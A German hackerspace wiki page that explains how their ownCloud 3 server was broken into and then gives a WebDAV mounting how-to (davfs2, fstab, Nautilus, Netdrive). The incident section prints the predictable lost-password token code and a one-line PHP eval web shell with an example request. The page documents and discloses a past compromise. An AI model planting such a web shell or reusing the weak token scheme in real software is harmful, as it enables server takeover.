HowTo:WebDAV

Sicherheitslücke in ownCloud 3

Lost Password Function

In ownCloud 3 existierte eine Sicherheitslücke, weswegen wir die ownCloud abgeschalten haben. Durch diese Lücke wurde auf unsere VM eingebrochen, und das Wiki mit einem Pony-Bild ausgetauscht. Die Attacke wurde von einer Person auf der SIGINT in Köln ausgeführt.

Die Sicherheitslücke entstand durch eine unsichere "lostpassword"-Funktion, welche aus folgenden Code bestand:

$token = sha1($_POST['user']+uniqId());

Die Funktion uniqId() lieferte den momentanen Unix-Timestamp in hexadezimaler Form zurück. Da der Operator "+" verwendet wurde, wurden beide Strings als numerischer Wert interpretiert ("4A" wurde z.b. zu 4) (http://php.net/manual/en/language.types.type-juggling.php).

Dadurch wurde der Token leicht voraussagbar.

Code Execution

Nachdem der Angreifer zugriff auf das Konto des Users bekommen hat, konnte eine einfache PHP Datei mit folgendem Inhalt hochgeladen werden:

<?php eval( urldecode( $_REQUEST['text'] ) ); ?>

Durch einen Public-Link konnte so Code über das Request-Feld "text" übergeben werden.

Beispiel:

http://owncloud.hackerspace-bamberg.de/(url)?text=echo+%22Hallo+Welt%22

Owncloud WebDAV

Hier ne kleine Anleitung wie man ownCloud via WebDAV in das System einbindet, je nach Betriebssystem gibts es hierzu unterschiedliche Möglichkeiten.

Linux

owncloud-client

Mittlerweile existiert ein owncloud-client der alle Synchronisationsaufgaben abnimmt. Falls man einen .htaccess vor der owncloud verwendet muss man in der owncloud-client config Datei die URL folgendermaßen anpassen:

http://username:password@cloud.example.com

Verwendung via Dateimanager

Um unabhängig vom genutzten Dateibrowser zu sein, kann man WebDAV auf Dateisystemebene einbinden (mounten), oder dies einfach über den Dateimanager verwenden.

Der Nachteil vom Dateimanager ist das nicht alle Programme den jeweiligen Standard des Dateimanagers (GVFS oder KIO) unterstützen, und man so ggf. Dateien erst runterladen muss um diese öffnen zu können :-/

Nautilus (GNOME)

Bei Nautilus kann man einfach mit Datei->Verbindung zu Server... eine Verbindung zur ownCloud herstellen. Folgende Konfigurationsdaten sind hierfür erforderlich:

  • Server: owncloud.hackerspace-bamberg.de
  • Port: 443
  • Typ: Sicheres WebDAV (HTTPS)
  • Ordner: /files/webdav.php

Benutzername und Passwort darf/muss man das eigene Verwenden.

Man kann mit einem Rechten Mausklick in der Seiteleiste ein derart verwendetes Share einfach als Lesezeichen speichern und anschließen umbennen, so das man diese wahnsinnige Konfigurationsarbeit nur einmalig erledigen muss.

Konqueror / Dolphin (KDE)

Du hast den Job!

Einhängen ins Dateisystem

Installation

  • ArchLinux
sudo pacman -S davfs2
  • Debian/Ubuntu
sudo apt-get install davfs2
  • Fedora
sudo yum install davfs2

Konfiguration

Bei den folgenden Schritten werden Beispieldaten verwendet.

Alle genannten Daten müssen vor dem Konfigurieren an die eigenen angepasst werden.

  • mount.davfs erzeugen/konfigurieren: [optional: gilt nur für Debian und seine Derivate]
sudo dpkg-reconfigure davfs2

Bei dem genannten Kommando wird konfiguriert ob normale User WebDav Verzeichnisse einbinden dürfen sollen. Das folgende HowTo geht davon aus das "Yes" / "Ja" gewählt wurde.

  • OwnCloud Mountpoint erstellen (Verzeichnis in welches das WebDav Verzeichnis eingebunden wird):
mkdir ~/owncloud
  • Mount in /etc/fstab hinzufügen:
sudo vi /etc/fstab

Folgende Zeile am Ende hinzufügen:

  https://owncloud.hackerspace-bamberg.de/files/webdav.php  /home/herpderp/owncloud  davfs  rw,user,noauto  0  0
  • Zugangsdaten speichern:
mkdir ~/.davfs2
vi ~/.davfs2/secrets

Zugangsdaten in folgendem Format einfügen:

  https://owncloud.hackerspace-bamberg.de/files/webdav.php herpderp derpina85
  • Berechtigungen der Datei mit den Zugangsdaten so anpassen, dass nur der User (hier herpderp) die Datei lesen+bearbeiten kann:
chmod 600 ~/.davfs2/secrets
  • Dein User muss Mitglied der Gruppe davfs2 sein
sudo usermod -a -G davfs2 herpderp
  • OwnCloud einbinden:
mount ~/owncloud

Der letzte Befehl muss bei jedem Start des Computers neu ausgeführt werden um das WebDav Verzeichnis einzubinden. Um das zu automatisieren gibt es verschiedene Möglichkeiten: Achtung: Das einbinden von WebDav Verzeichnissen funktioniert nur bei bestehender Internetverbindung. Eine automatisierung wird daher nicht empfohlen!

echo "mount /home/herpderp/owncloud" >> /etc/rc.local 
echo "mount /home/herpderp/owncloud" >> ~/.bashrc

Windows

Es sollte mit dem nativen Windows WebDAV funktionieren, siehe WebDAV Win Native.

Unter Windows 7 64-Bit (eventuell auch andere) ist das aber nicht immer so, dann kann Netdrive helfen. Dafür folgende Schritte befolgen:

  1. Netdrive herunterladen, ist für Non-Commercial kostenlos
  2. Netdrive als Administrator installieren und starten
  3. In Netdrive eine neue Site anlegen (z.B. backspace)
  4. Site IP or URL: https://owncloud.hackerspace-bamberg.de/files/webdav.php
  5. Server Type: WebDav
  6. Advanced anklicken und Häckchen bei "HTTPS" setzen. Sollte das nicht da sein, nochmal abbrechen und backspace davor auswählen.
  7. Port auf 443 ändern
  8. Drive Letter vergeben
  9. Zugangsdaten eintragen
  10. "Save Password" und eventuell "Automatic login when system starts" anklicken
  11. Save klicken
  12. Connect klicken

Wenn es sich nicht innerhalb weniger Sekunden verbindet und es keine Fehlermeldung gibt, ist bei den Einstellungen etwa sschief gelaufen. Dann den Prozess killen und das System neu starten, sonst kommt man nicht mehr in Netdrive.

Bug: Shared Folder ist leer.